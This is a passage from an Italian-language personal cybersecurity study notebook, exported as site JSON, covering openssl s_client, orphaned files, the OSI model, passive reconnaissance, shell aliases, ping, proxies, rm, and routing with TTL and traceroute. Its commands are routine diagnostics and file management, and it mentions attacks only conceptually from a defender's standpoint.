richiedere aggiornamento al server Solo TLS 1.3 Messaggi comuni e cosa significano # read R BLOCK → openssl sta aspettando dati dal server appare dopo che hai mandato la password KEYUPDATE → TLS 1.3 sta aggiornando le chiavi di cifratura se lo vedi invece della risposta → usa -quiet o -ign_eof RENEGOTIATING → il server sta rinegoziando la sessione TLS (TLS 1.2) stessa soluzione → -quiet o -ign_eof DONE → connessione chiusa dal server Perché -quiet risolve KEYUPDATE # Senza -quiet: password mandata → server risponde → openssl intercetta messaggio KEYUPDATE e lo gestisce internamente → tu non vedi la risposta Con -quiet (include -ign_eof): password mandata → server risponde → output passa direttamente al tuo terminale → vedi la risposta Combinazioni utili # # Pipe con -quiet — manda password e aspetta risposta echo \u0026#34;password\u0026#34; | openssl s_client -connect localhost:31790 -quiet # Solo -ign_eof — stesso effetto, più verboso sull\u0026#39;output certificato echo \u0026#34;password\u0026#34; | openssl s_client -connect localhost:31790 -ign_eof # Interattivo — scrivi la password a mano openssl s_client -connect localhost:31790 -quiet Pipeline complete # # Solo la data di scadenza echo | openssl s_client -connect github.com:443 2\u0026gt;/dev/null \\ | openssl x509 -noout -dates # Subject + Issuer + scadenza openssl s_client -connect github.com:443 \u0026lt;/dev/null 2\u0026gt;/dev/null \\ | openssl x509 -noout -text \\ | grep -E \u0026#34;Subject|Issuer|Not After\u0026#34; # Catena CA completa openssl s_client -connect github.com:443 -showcerts # Verifica PFS — cerca \u0026#34;New\u0026#34; o \u0026#34;Reused\u0026#34; echo | openssl s_client -connect github.com:443 2\u0026gt;/dev/null \\ | grep -E \u0026#34;^New|^Reused\u0026#34; Come leggere l'output — campi chiave:\ndepth=2 → Root CA depth=1 → Intermediate CA depth=0 → Certificato del sito s: → subject (chi è) i: → issuer (chi l\u0026#39;ha firmato) pattern: i: di ogni livello = s: del livello sopra New, TLSv1.3 → chiavi effimere, PFS attiva Reused, TLSv1.3 → chiavi riciclate, PFS non attiva Scenario Reale # Un analista SOC verifica che un servizio interno esponga TLS correttamente e non accetti connessioni plaintext. Usa openssl s_client -connect server.interno:443 per ispezionare il certificato, la versione TLS negoziata e la cipher suite. Se il server risponde con TLS 1.0 o 1.1 — versioni deprecate — è una vulnerabilità da segnalare.\nDove l'ho usato # bandit-15 — invio password su connessione SSL a localhost:30001 bandit-16 — discovery porta SSL corretta nel range 31000-32000 Collegato a # crypto — categoria openssl — tool genitore netcat — alternativa plaintext, stessa logica senza cifratura ssl-tls — il protocollo che s_client implementa nmap — usato insieme per discovery porte SSL ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/openssl-s_client/","section":"Comandi","summary":"Implementa un client SSL/TLS generico che stabilisce una connessione sicura con un server remoto. È essenzialmente un 'netcat con i superpoteri della cifratura'.","title":"Openssl S_Client","type":"comandi"},{"content":" Cos'è # Si definiscono \u0026quot;orfani\u0026quot; i file che possiedono un UID (User ID) o un GID (Group ID) che non corrispondono più a nessun utente o gruppo esistente nel sistema.\nPerché accade # Quando un amministratore cancella un gruppo con sudo delgroup nomegruppo, il sistema rimuove il nome dal database /etc/group, ma non modifica i metadati dei file sul disco. I file che appartenevano a quel gruppo mantengono il vecchio ID numerico (GID).\nRischi di Sicurezza # Collisione di ID: Se in futuro viene creato un nuovo gruppo e il sistema gli assegna lo stesso GID del gruppo eliminato, il nuovo gruppo erediterà automaticamente i permessi di tutti i file orfani. Access Control Broken: Gli strumenti di auditing potrebbero non segnalare correttamente chi ha accesso a risorse critiche se queste sono associate solo a ID numerici non mappati. Come individuarli # # Trova tutti i file senza un gruppo associato sudo find / -nogroup 2\u0026gt;/dev/null # Trova tutti i file senza un utente (owner) associato sudo find / -nouser 2\u0026gt;/dev/null Remediation (Bonifica) # Una volta individuati, i file devono essere riassegnati a un'entità valida:\n# Esempio: riassegnazione al gruppo \u0026#39;admin\u0026#39; sudo find / -nogroup -exec chgrp admin {} \\; Scenario Reale # Durante una migrazione di server, un utente viene eliminato ma la sua cartella dei backup rimane sul disco con UID 1005. Un nuovo dipendente viene assunto e riceve l'UID 1005. Senza saperlo, il nuovo arrivato ha ora accesso completo ai vecchi backup riservati.\nCollegato a # iam — categoria principale system — gestione sistema principio-del-minimo-privilegio — per la pulizia dei permessi find — lo strumento di ricerca ","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/orphaned-files-security/","section":"Concetti","summary":"Si definiscono 'orfani' i file che possiedono un UID (User ID) o un GID (Group ID) che non corrispondono più a nessun utente o gruppo esistente nel sistema.","title":"Orphaned Files Security","type":"concetti"},{"content":" Cos'è # Modello concettuale creato da ISO nel 1984 per standardizzare la comunicazione tra sistemi di produttori diversi. Divide la comunicazione di rete in 7 layer con responsabilità precise. Oggi TCP/IP ha vinto nella pratica comprimendo i 7 layer in 4, ma OSI rimane il linguaggio universale per ragionare sui problemi di rete e sicurezza.\nOSI vs TCP/IP — la guerra e il compromesso # OSI (1984 — teorico) TCP/IP (reale — quello che gira) ──────────────────────────────────────────────────────────── 7 Application ┐ 6 Presentation ├─────────► Application HTTP, HTTPS, FTP, 5 Session ┘ SMTP, DNS, SSH (cifratura, sessione, presentazione: tutto qui) 4 Transport ──────────► Transport TCP, UDP (porte, affidabilità) 3 Network ──────────► Internet IP, ICMP (indirizzi, routing) 2 Data Link ┐ 1 Physical ┴─────────► Network Ethernet, Wi-Fi, Access cavi, bit fisici ──────────────────────────────────────────────────────────── 7 layer teorici 4 layer reali OSI ha perso la guerra pratica, vinto quella concettuale. Tutti usano TCP/IP. Tutti pensano in layer OSI.\nI 7 Layer — chi c'è dentro # SOFTWARE / HARDWARE ─────────────────── ┌─────────────────────────────────────────────────────────┐ │ 7 APPLICATION SOFTWARE │ │ Browser, client email, curl, ssh │ │ Protocolli: HTTP, FTP, SMTP, DNS, SSH │ │ \u0026#34;Cosa vuole l\u0026#39;utente?\u0026#34; │ ├─────────────────────────────────────────────────────────┤ │ 6 PRESENTATION SOFTWARE │ │ Librerie SSL/TLS, codec │ │ Cifratura, compressione, crypto │ │ \u0026#34;In che formato sono i dati?\u0026#34; │ │ → In TCP/IP vive dentro layer 7 │ ├─────────────────────────────────────────────────────────┤ │ 5 SESSION SOFTWARE │ │ OS, librerie di rete │ │ Apre, mantiene, chiude connessioni │ │ \u0026#34;La connessione è ancora viva?\u0026#34; │ │ → In TCP/IP vive dentro layer 7 │ ├─────────────────────────────────────────────────────────┤ │ 4 TRANSPORT SOFTWARE (kernel OS) │ │ TCP — affidabile, verifica consegna │ │ UDP — veloce, non verifica │ │ Porta src/dst │ │ \u0026#34;A quale servizio vanno i dati?\u0026#34; │ ├─────────────────────────────────────────────────────────┤ │ 3 NETWORK SOFTWARE (kernel OS) + HARDWARE │ │ IP — indirizzo logico │ │ Router — instrada tra reti diverse │ │ ICMP — diagnostica (ping) │ │ \u0026#34;Qual è il percorso verso il dest?\u0026#34; │ ├─────────────────────────────────────────────────────────┤ │ 2 DATA LINK SOFTWARE (driver) + HARDWARE │ │ MAC — indirizzo fisico │ │ Switch — instrada nella LAN │ │ Ethernet, Wi-Fi — protocolli frame │ │ \u0026#34;Chi sono fisicamente sulla LAN?\u0026#34; │ ├─────────────────────────────────────────────────────────┤ │ 1 PHYSICAL HARDWARE puro │ │ Cavi, connettori, onde radio │ │ Schede di rete, antenne │ │ Bit → segnale elettrico/ottico/radio │ │ \u0026#34;Come viaggio fisicamente?\u0026#34; │ └─────────────────────────────────────────────────────────┘ Mnemonico — Come ricordare i layer # Dal basso verso l'alto (1→7) — come viaggiano i dati dal cavo all'utente:\n\u0026#34;Please Do Not Throw Sausage Pizza Away\u0026#34; 1 Physical → Please 2 Data Link → Do 3 Network → Not 4 Transport → Throw 5 Session → Sausage 6 Presentation → Pizza 7 Application → Away Dall'alto verso il basso (7→1) — come scendono i dati dal server al cavo:\n\u0026#34;All People Seem To Need Data Processing\u0026#34; 7 Application → All 6 Presentation → People 5 Session → Seem 4 Transport → To 3 Network → Need 2 Data Link → Data 1 Physical → Processing PDU — Protocol Data Unit # Ogni layer chiama la propria unita' di dati con un nome diverso:\nLayer OSI Nome PDU 7 Application Messaggio (HTTP request, DNS query) 4 Transport Segmento (TCP) / Datagramma (UDP) 3 Network Pacchetto (IP) 2 Data Link Frame (Ethernet) 1 Physical Bit Quando incapsuli: prendi la PDU del layer sopra come payload e aggiungi il tuo header. Quando decapsuli: togli il tuo header e passi la PDU al layer superiore.\nEsempio concreto — DNS request lato client # Packet Tracer mostra tutti e 7 i layer, ma in TCP/IP reale i layer 5-6-7 sono un unico blocco applicativo. Il browser o il resolver DNS non \u0026quot;sa\u0026quot; di essere a layer 5, 6 o 7 — costruisce il messaggio e lo passa al kernel.\nLAYER OSI PDU COSA SUCCEDE NEL PC 7 Application ┐ 6 Presentation ├─► Messaggio Il resolver costruisce la DNS query: 5 Session ┘ \u0026#34;Risolvi example.com, tipo A\u0026#34; In pratica: un unico blocco software 4 Transport ──► Datagramma UDP Aggiunge porta src (es. 54321) e porta dst (53 — DNS) 3 Network ──► Pacchetto IP Aggiunge IP src (192.168.1.10) e IP dst (8.8.8.8) 2 Data Link ──► Frame Ethernet Aggiunge MAC src (scheda di rete) e MAC dst (MAC del gateway) 1 Physical ──► Bit Converte il frame in segnale elettrico/ottico sul cavo Il MAC dst non e' il MAC di 8.8.8.8 — e' il MAC del router di casa (gateway). Il router prendera' il pacchetto, cambiera' i MAC per il prossimo hop, e inoltrera' verso 8.8.8.8.\nCiclo decapsula → elabora → incapsula per dispositivo # Ogni dispositivo lungo il percorso sale solo fino al layer che gli serve:\nPC (mittente) Crea tutta la pila da zero: HTTP → TCP → IP → Ethernet Switch Sale fino a L2 (legge MAC src/dst) Decide la porta di uscita Rincapsula e inoltra — non tocca IP ne\u0026#39; TCP Router Sale fino a L3 (legge IP src/dst) Consulta la routing table Decrementa TTL, aggiorna MAC src/dst per il prossimo hop Rincapsula con nuovi header L2 Server DNS/HTTP Sale fino a L7 (legge la richiesta) Elabora e costruisce la risposta Rincapsula tutto da zero con header invertiti (IP/porte src↔dst) Il MAC cambia ad ogni hop (L2 serve solo per il salto fisico corrente). L'IP non cambia mai — e' la destinazione finale.\nEncapsulation — come i dati scendono i layer # SERVER (7→1) CLIENT (1→7) ──────────────────────────────────────────────────── \u0026#34;GET /index.html\u0026#34; \u0026#34;GET /index.html\u0026#34; │ ▲ ▼ │ [HTTP header | DATI] [HTTP header | DATI] │ ▲ ▼ │ [TCP header | HTTP | DATI] [TCP header | HTTP | DATI] porta src/dst, seq porta src/dst, seq │ ▲ ▼ │ [IP header | TCP | HTTP | DATI] [IP header | TCP | HTTP | DATI] IP src/dst, TTL IP src/dst, TTL │ ▲ ▼ │ [MAC | IP | TCP | HTTP | DATI | FCS] [MAC | IP | TCP | HTTP | DATI] MAC src/dst MAC src/dst │ ▲ ▼ │ 01010101010101010101 ─────────────────────────┘ bit sul cavo LEGENDA ──────────────────────────────────────────────────── Layer 7 HTTP header metodo, path, host, cookie, status code DATI contenuto: HTML, JSON, immagini Layer 4 TCP header porta src/dst → identifica il servizio seq/ack → ordine e conferma consegna flags → [S] SYN [.] ACK [F] FIN [R] RST Layer 3 IP header IP src/dst → indirizzo mittente e destinatario TTL → max hop prima dello scarto Protocol → cosa c\u0026#39;è dentro (6=TCP, 17=UDP) Layer 2 MAC header MAC src/dst → indirizzo fisico sulla LAN cambia ad ogni hop FCS checksum → verifica integrità frame se corrotto → frame scartato Layer 1 bit sul cavo 01010101... → segnale elettrico/ottico/radio nessun header, solo bit grezzi Ogni layer aggiunge il suo header (encapsulation). Ogni layer rimuove il suo header alla ricezione (decapsulation).\nAnalogia: IP → il furgone di consegna (sa solo indirizzo) TCP → raccomandata con ricevuta (verifica consegna) UDP → volantino nella buca (manda e non controlla) HTTP/DNS → il contenuto della lettera\nChecksum per layer — chi verifica cosa # Layer 2 → FCS verifica l\u0026#39;intero frame Ethernet Layer 3 → checksum verifica SOLO header IP (non i dati dentro) Layer 4 → checksum verifica header TCP + dati Layer 7 → TLS MAC verifica i dati cifrati (solo HTTPS/TLS) Ogni layer si verifica da solo — indipendente dagli altri. Se il frame Ethernet e' corrotto (cavo rovinato, interferenze):\nFCS calcolato ≠ FCS nel pacchetto ↓ Frame scartato silenziosamente da Layer 2 ↓ TCP al Layer 4 non riceve l\u0026#39;ACK ↓ TCP ritrasmette il segmento Note UDP non ritrasmette. Se il frame viene scartato, il dato e' perso. Per questo UDP si usa dove la velocita' conta piu' dell'affidabilita': video streaming, gaming, VoIP.\nMTU — Maximum Transmission Unit # Maximum Transmission Unit — la dimensione massima in byte che un frame può avere su un determinato link fisico. Non è una proprietà del router. Non è una proprietà del cavo. È una proprietà del protocollo di Layer 2 usato su quel link.\nEthernet ha un MTU di default di 1500 byte — la dimensione massima del payload in un frame Ethernet (escluso il 14-byte header).\nSe i dati superano 1500 byte → IP Fragmentation:\nDati originali: 4000 byte Frammento 1: offset 0 → byte 0-1479 (1480 byte di dati) Frammento 2: offset 1480 → byte 1480-2959 Frammento 3: offset 2960 → byte 2960-3999 Ogni frammento ha il suo header IP con Fragment Offset diverso. Il destinatario riassembla i frammenti nell\u0026#39;ordine corretto. Guarda il modello OSI:\nLayer 1 → fisico: cavi, segnali elettrici Layer 2 → data link: Ethernet, MAC, frame Layer 3 → network: IP, pacchetti MTU è la dimensione massima del frame che il Layer 2 può trasportare. Quindi: Ethernet (Layer 2) dice: \u0026quot;non posso trasportare frame più grandi di 1500 byte\u0026quot;.\nIP (Layer 3) deve rispettare questo limite — non può mettere un pacchetto più grande di quello che il Layer 2 sotto di lui riesce a trasportare.\nWarning La frammentazione IP e' stata storicamente usata per attacchi:\nTeardrop attack: frammenti sovrapposti che crashano il SO IDS evasion: payload malevolo spezzato in frammenti che il firewall/IDS non riconosce come attacco Oggi la maggior parte dei firewall riassembla i frammenti prima dell'ispezione — ma rimane un vettore da conoscere. Implicit Trust — il problema fondamentale # Ogni layer si fida CIECAMENTE del layer sotto. Zero verifica. Zero controllo.\nLayer 3 riceve da Layer 2: \u0026quot;MAC dice 00:AA:BB → ok, mi fido\u0026quot; non sa che il MAC è stato spoofato\nLayer 4 riceve da Layer 3: \u0026quot;IP dice 192.168.1.1 → ok, mi fido\u0026quot; non sa che l'IP è stato spoofato\nQuesta fiducia implicita è la radice di quasi tutti gli attacchi di rete. Internet è stato costruito per la fiducia, non per la sicurezza.\nAttacchi e difese per layer # Layer Attacco Difesa ────────────────────────────────────────────────────────── 1 Wiretapping, Wi-Fi jamming Cavi schermati, WPA3 2 MAC spoofing, ARP poisoning Port security, DAI 3 IP spoofing, routing attack Firewall L3, RPF check 4 SYN flood, port scan Firewall L4, rate limit 7 SQLi, XSS, prompt injection WAF, input validation Regola:\nVuoi attaccare/difendere X? → capisci su quale layer vive X → agisci su quel layer → tutto sopra e sotto non vede niente Dispositivi e il loro layer # HARDWARE LAYER VEDE FINO A ──────────────────────────────────────── Hub (obsoleto) 1 Solo bit — ripete a tutti Switch 2 MAC address Router 3 IP address Firewall L3/L4 3-4 IP + porta Proxy / WAF 7 Tutto — HTTP, cookie, payload IDS/IPS 7 Tutto — analizza il contenuto TCP vs UDP — i due protocolli di Layer 4 # TCP (Transmission Control Protocol) → affidabile — verifica che i pacchetti arrivino → lento — handshake, acknowledgment, retry → usato per: HTTP, SSH, FTP, SMTP UDP (User Datagram Protocol) → veloce — manda e non controlla → inaffidabile — pacchetti possono perdersi → usato per: DNS, streaming video, VoIP, gaming TCP = lettera raccomandata con ricevuta di ritorno UDP = volantino buttato dalla finestra Perché è importante per Blue Team # Ogni alert, ogni attacco, ogni anomalia vive su un layer preciso. Sapere su quale layer stai guardando ti dice quale tool usare, cosa cercare nei log, e dove intervenire. \u0026quot;Problema a layer 3\u0026quot; e \u0026quot;problema a layer 7\u0026quot; sono scenari completamente diversi con strumenti completamente diversi.\nScenario Reale # Un analista SOC vede traffico anomalo. Prima domanda: su quale layer? tcpdump mostra pacchetti IP verso IP sconosciuto — layer 3. Wireshark apre il payload — layer 7, vede richieste HTTP verso un dominio C2. Due layer, due tool, due livelli di analisi. Senza OSI come framework mentale, l'analisi sarebbe caotica.\nDove l'ho incontrato # network-fundamentals — TryHackMe modulo 2 icmp-mac-ip — ICMP vive a Layer 3, MAC a Layer 2 lan-topologies — switch (L2), router (L3) Collegato a # network — categoria icmp-mac-ip — MAC (L2), IP (L3), ICMP (L3) lan-topologies — switch e router nei loro layer nat-concept — NAT opera a Layer 3-4 proxy — proxy opera a Layer 7 ssl-tls — cifratura a Layer 6 in OSI, dentro L7 in TCP/IP tcp-udp - TCP - udp ","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/osi-model/","section":"Concetti","summary":"Modello concettuale creato da ISO nel 1984 per standardizzare la comunicazione tra sistemi di produttori diversi. Divide la comunicazione di rete in 7 layer con responsabilità precise. Oggi TCP/IP ha vinto nella pratica comprimendo i 7 layer in 4, ma OSI rimane il linguaggio universale per ragionare sui problemi di rete e sicurezza.","title":"OSI Model - Il Modello a Layer","type":"concetti"},{"content":" Cos'è # Fase di raccolta informazioni su un target senza interagire direttamente con i suoi sistemi. Il target non si accorge dell'attività perché si usano solo fonti pubbliche: motori di ricerca, DNS pubblici, social media, archivi, certificati TLS.\nCome funziona # PASSIVE RECONNAISSANCE ───────────────────────────────────────────────────── [ATTACCANTE / ANALISTA] │ ┌────────────────┼────────────────┐ │ │ │ Shodan Google Censys (porte) (sito, email) (certificati) │ │ │ └────────────────┼────────────────┘ │ [TARGET] ← non sa niente vs\nACTIVE RECONNAISSANCE ───────────────────────────────────────────────────── [ATTACCANTE] ──── nmap, ping, dirb ────► [TARGET] │ vede il traffico nei propri log Passive vs Active # Passive Active Interazione con il target No Sì Rilevabile nei log No Sì Tool tipici Shodan, Google, HIBP nmap, dirb, ping Rischio legale Basso Alto senza permesso Perché è importante per Blue Team # Capire come un attaccante ti vede prima di attaccarti. Se fai passive recon sulla tua infrastruttura trovi le stesse cose che troverebbe un attaccante — porte esposte, certificati scaduti, email nei breach, server dimenticati.\nDove l'ho incontrato # search-skills — prima room TryHackMe che la introduce Scenario Reale # Un security engineer fa passive recon sulla propria azienda: cerca il dominio su Shodan (trova un server di staging dimenticato con porta 22 aperta), su Censys (trova un certificato scaduto su un sottodominio), su HIBP (trova 3 email aziendali in breach). Tutto questo senza inviare un singolo pacchetto all'infrastruttura.\nRisorse # Shodan Censys Collegato a # network — categoria shodan — tool per passive recon censys — tool per passive recon google-operators — tecnica di passive recon search-skills — room TryHackMe ","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/passive-reconnaissance/","section":"Concetti","summary":"Fase di raccolta informazioni su un target senza interagire direttamente con i suoi sistemi. Il target non si accorge dell'attività perché si usano solo fonti pubbliche: motori di ricerca, DNS pubblici, social media, archivi, certificati TLS.","title":"Passive Reconnaissance - Ricognizione Passiva","type":"concetti"},{"content":" Cos'è # Il metodo per rendere permanenti gli alias salvandoli nei file di configurazione della shell invece di lasciarli nella memoria volatile della sessione.\nVolatilità vs Persistenza # Tipo Dove risiede Durata Volatile Memoria RAM della sessione. Fino alla chiusura del terminale. Persistente File su disco (.bashrc, .zshrc). Permanente (caricato a ogni avvio). Come \u0026quot;salvare\u0026quot; un alias # Per non dover riscrivere i tuoi alias ogni volta:\nApri il file con un editor: nano ~/.bashrc. Vai in fondo al file e aggiungi la riga: alias ll='ls -lah'. Salva e ricarica il file con: source ~/.bashrc. Perché è importante per Blue Team # Analizzare i file di configurazione come .bashrc è fondamentale durante una scansione forense per trovare alias malevoli o \u0026quot;backdoor\u0026quot; che un attaccante potrebbe aver reso persistenti per intercettare i comandi dell'amministratore.\nCollegato a # alias — il comando operativo system — categoria fhs — gerarchia dei file (home directory) ","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/alias-persistence/","section":"Concetti","summary":"Il metodo per rendere permanenti gli alias salvandoli nei file di configurazione della shell invece di lasciarli nella memoria volatile della sessione.","title":"Persistenza degli Alias","type":"concetti"},{"content":" Cosa fa # Invia pacchetti ICMP Echo Request a un host e misura il tempo di risposta. Usato per verificare la raggiungibilità di un host e la latenza della connessione.\nSintassi # ping [opzioni] host\nComandi essenziali # Comando Flag Significato flag Cosa fa ping 8.8.8.8 — — Ping continuo — gira finché non fai Ctrl+C ping -c 4 8.8.8.8 -c count Manda esattamente 4 pacchetti poi si ferma ping -i 0.2 8.8.8.8 -i interval Manda un pacchetto ogni 0.2 secondi invece di 1 ping -s 1000 8.8.8.8 -s size Imposta la dimensione del payload in byte ping -t 5 8.8.8.8 -t TTL Imposta manualmente il TTL del pacchetto ping -q 8.8.8.8 -q quiet Mostra solo il riepilogo finale, non ogni pacchetto Come leggere l'output # PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. 64 bytes from 8.8.8.8: icmp_seq=1 ttl=118 time=12.3 ms 64 bytes from 8.8.8.8: icmp_seq=2 ttl=118 time=11.9 ms--- 8.8.8.8 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3004ms rtt min/avg/max/mdev = 11.9/12.1/12.3/0.2 ms Combinazioni utili # # Test connettività rapido — 4 pacchetti ping -c 4 8.8.8.8 # Test MTU — pacchetto grande per rilevare frammentazione ping -s 1472 -c 4 8.8.8.8 # Ping silenzioso in uno script — controlla solo exit code ping -c 1 -q 8.8.8.8 \u0026gt; /dev/null 2\u0026gt;\u0026amp;1 \u0026amp;\u0026amp; echo \u0026#34;Up\u0026#34; || echo \u0026#34;Down\u0026#34; Scenario Reale # Un analista SOC riceve alert: server interno non risponde. Prima verifica: ping -c 4 192.168.1.50 — se risponde, il problema è applicativo. Se non risponde, il problema è di rete o il server è giù. Se risponde ma con packet loss alto, c'è congestione o problema di rete intermittente. Tre scenari diversi, diagnosi immediata.\nDove l'ho usato # network-fundamentals — TryHackMe, test connettività base Collegato a # network — categoria icmp-mac-ip — protocollo usato da ping traceroute — usa ICMP con TTL incrementale per mappare il percorso nmap — analisi rete più avanzata ip ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/ping/","section":"Comandi","summary":"Invia pacchetti ICMP Echo Request a un host e misura il tempo di risposta. Usato per verificare la raggiungibilità di un host e la latenza della connessione.","title":"ping - test di raggiungibilita ICMP","type":"comandi"},{"content":" Cos'è # Un server proxy agisce come intermediario tra un client e un server. A differenza del NAT che lavora a basso livello (IP), il proxy lavora solitamente a livello applicativo. Il client chiede al proxy, e il proxy chiede al server finale \u0026quot;per conto\u0026quot; del client.\nCome funziona # [DIAGRAMMA ASCII - Intermediazione Proxy]\n[ Client ] [ Proxy Server ] [ Server ] │ │ │ │── \u0026#34;Voglio google.com\u0026#34; ─▶│ │ │ │── \u0026#34;Barno vuole questo\u0026#34; ─▶│ │ │ │ │ │◀── [ Risposta ] ─────────│ │◀── [ Risposta ] ───────│ │ Funzionalità principali:\nCaching: Salva una copia dei siti visitati per velocizzare le richieste successive. Filtraggio: Blocca l'accesso a siti web specifici (es. social network-defense in ufficio). Anonimato: Il server finale vede l'IP del proxy, non quello del client originale. Perché è importante per Blue Team # I proxy sono miniere d'oro per l'analisi forense. Nei log di un proxy (come Squid) puoi vedere esattamente CHI ha visitato COSA, a che ora, e se ci sono stati tentativi di esfiltrazione dati via HTTP/HTTPS.\nDove l'ho incontrato # progetto-lab-vm — Configurazione potenziale per far passare il traffico delle VM attraverso un'ispezione centralizzata. Note personali # Differenza chiave: Il NAT è trasparente (il client non sa che esiste), il Proxy spesso richiede una configurazione nel browser o nel sistema operativo. Esistono anche i Reverse Proxy (es. Nginx) che proteggono i server invece dei client.\nCollegato a # network — categoria log — categoria (analisi dei log web) incidents — categoria (investigazione traffico) ","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/proxy/","section":"Concetti","summary":"Un server proxy agisce come intermediario tra un client e un server. A differenza del NAT che lavora a basso livello (IP), il proxy lavora solitamente a livello applicativo. Il client chiede al proxy, e il proxy chiede al server finale 'per conto' del client.","title":"Proxy","type":"concetti"},{"content":" Cosa fa # Rimuove (scollega) file o directory dal filesystem. Il nome sta per remove.\nSintassi # rm [opzioni] nome_file\nComandi essenziali # Comando Flag Cosa fa rm file — Rimuove il link tra nome e dati (unlink). rm -r cartella -r (recursive) Elimina una cartella e tutto il suo contenuto. rm -f file -f (force) Ignora file inesistenti e non chiede conferma. rm -i file -i (interactive) Chiede conferma prima di ogni eliminazione (sicurezza). shred -vzu file.txt -v verbose, -z zero finale, -u unlink Sovrascrive i blocchi dati e cancella — irrecuperabile rm rimuove il link tra nome e inode — i blocchi dati restano sul disco finché non vengono sovrascritti. Con strumenti forensi come foremost o photorec il contenuto è recuperabile. Su SSD la situazione è diversa: il wear leveling del controller può spostare i blocchi, rendendo shred meno efficace. Su SSD la soluzione corretta è la cifratura del disco dalla partenza — se il disco è cifrato, i dati recuperati sono inutili. rm-mechanism\n1. Se il nome del file ha degli spazi: Se un file si chiama foto vacanza.jpg, non puoi scrivere rm foto vacanza.jpg perché il terminale penserebbe che vuoi eliminare due file diversi (foto e vacanza.jpg). Devi usare le virgolette:\nrm \u0026#34;foto vacanza.jpg\u0026#34; \u0026#34;altra immagine.png\u0026#34; 2. Eliminare file con la stessa estensione (Wildcard): Visto che prima cercavi immagini, se vuoi eliminare tutti i .jpg e .png in una cartella senza scriverli uno per uno:\nrm *.jpg *.png 3. Eliminare una cartella e tutto il suo contenuto: Per le cartelle devi aggiungere il parametro -rf (recursive e force):\nrm -rf nome_cartella 4. Chiedere conferma prima di eliminare: Se hai paura di sbagliare, aggiungi -i (interactive). Il terminale ti chiederà \u0026quot;y/n\u0026quot; per ogni file:\nrm -i file1.jpg file2.png Collegato a # file — categoria rm-mechanism — logica interna (perché non \u0026quot;cancella\u0026quot;) ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/rm/","section":"Comandi","summary":"Rimuove (scollega) file o directory dal filesystem. Il nome sta per remove.","title":"rm - elimina file e directory","type":"comandi"},{"content":" Cos'è # La logica per cui l'eliminazione di un file in Linux non è la distruzione dei dati, ma la rimozione di un riferimento (link) all'Inode.\nCome funziona # Quando esegui rm, il kernel chiama la funzione unlink(). Il nome del file viene rimosso dalla cartella. Il Link Count nell'Inode viene decrementato di 1. SE il contatore arriva a 0 e nessun processo sta leggendo il file: I blocchi di dati vengono segnati come \u0026quot;liberi\u0026quot; (disponibili per nuovi dati). L'Inode viene liberato. Warning Se un processo (es. un server log) tiene aperto un file mentre lo cancelli con rm, il Link Count scende a 0 ma lo spazio sul disco NON si libera finché il processo non viene chiuso.\nNote I blocchi marcati come \u0026quot;liberi\u0026quot; non vengono azzerati — i dati restano sul disco fisicamente fino alla prossima scrittura su quegli stessi blocchi. Questo rende possibile il recupero forense con tool come foremost. Solo shred sovrascrive i blocchi prima di liberarli.\nCollegato a # rm — comando inode-anatomy — dove risiede il contatore ","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/rm-mechanism/","section":"Concetti","summary":"La logica per cui l'eliminazione di un file in Linux non è la distruzione dei dati, ma la rimozione di un riferimento (link) all'Inode.","title":"Rm Mechanism","type":"concetti"},{"content":" Cos'è # Il routing è il processo con cui i pacchetti viaggiano da una rete all'altra attraverso router intermedi. Ogni \u0026quot;tappa\u0026quot; si chiama hop. Il TTL limita il numero massimo di hop che un pacchetto può fare prima di essere scartato.\nHop — le tappe del viaggio # Analogia del treno: Roma ──────► Bologna ──────► Milano tappa 1 tappa 2 Non sono fallimenti — sono il percorso normale. In rete:\n[Tu] ──► [Router ISP] ──► [Router backbone] ──► [Google] hop 1 hop 2 hop 3 Ogni hop = un router che riceve il pacchetto consulta la sua routing table lo manda al prossimo router Ogni router conosce solo il passo successivo — non il percorso completo:\n\u0026#34;Vai al semaforo e chiedi ancora\u0026#34; \u0026#34;Vai dritto 2km e chiedi ancora\u0026#34; \u0026#34;Sei arrivato\u0026#34; L'hop è il router che instrada il pacchetto da una subnet alla successiva.\nTTL — quante tappe sono disposto a fare # Analogia del treno: TTL = 60 → sono disposto a fare massimo 60 cambi Destinazione richiede 1000 cambi → al cambio 60 il treno viene fermato → il capotreno manda messaggio a Roma: \u0026#34;il tuo treno è stato fermato a Bologna\u0026#34; (in rete: ICMP Time Exceeded) In rete:\nParti con TTL = 64 hop 1 → TTL diventa 63 hop 2 → TTL diventa 62 ... hop 64 → TTL diventa 0 router scarta il pacchetto manda ICMP Time Exceeded al mittente Il TTL non è un limite pratico — è una protezione contro i loop:\nRouting loop (senza TTL): Router A → \u0026#34;192.168.2.x? manda a Router B\u0026#34; Router B → \u0026#34;192.168.2.x? manda a Router A\u0026#34; Router A → \u0026#34;192.168.2.x? manda a Router B\u0026#34; ... loop infinito Con TTL: dopo N hop → pacchetto scartato problema contenuto Nella realtà da Genova a Google ci vogliono 8-12 hop. TTL di default 64 o 128 è abbondantissimo.\nTraceroute — come funziona # Traceroute sfrutta il TTL di proposito per scoprire i router intermedi:\nTENTATIVO 1 — TTL=1 (artificialmente basso) [Tu] ──TTL=1──► [Router 1] TTL=0 → scarta manda ICMP Time Exceeded → traceroute scopre: hop 1 = questo IP ✅ TENTATIVO 2 — TTL=2 [Tu] ──TTL=2──► [Router 1] ──TTL=1──► [Router 2] TTL=0 → scarta manda ICMP Time Exceeded → traceroute scopre: hop 2 = questo IP ✅ TENTATIVO 3 — TTL=3 [Tu] ──TTL=3──► [Router 1] ──► [Router 2] ──TTL=1──► [Router 3] TTL=0 → scarta → traceroute scopre: hop 3 = questo IP ✅ Output reale:\ntraceroute google.com 1 192.168.1.1 1ms ← il tuo router di casa 2 10.0.0.1 8ms ← router del tuo ISP 3 85.18.x.x 12ms ← backbone ISP 4 ... 8 142.250.x.x 20ms ← Google ⚠️ TTL nel Networking vs TTL nel DNS — stessa parola, mondo diverso # TTL NETWORKING TTL DNS 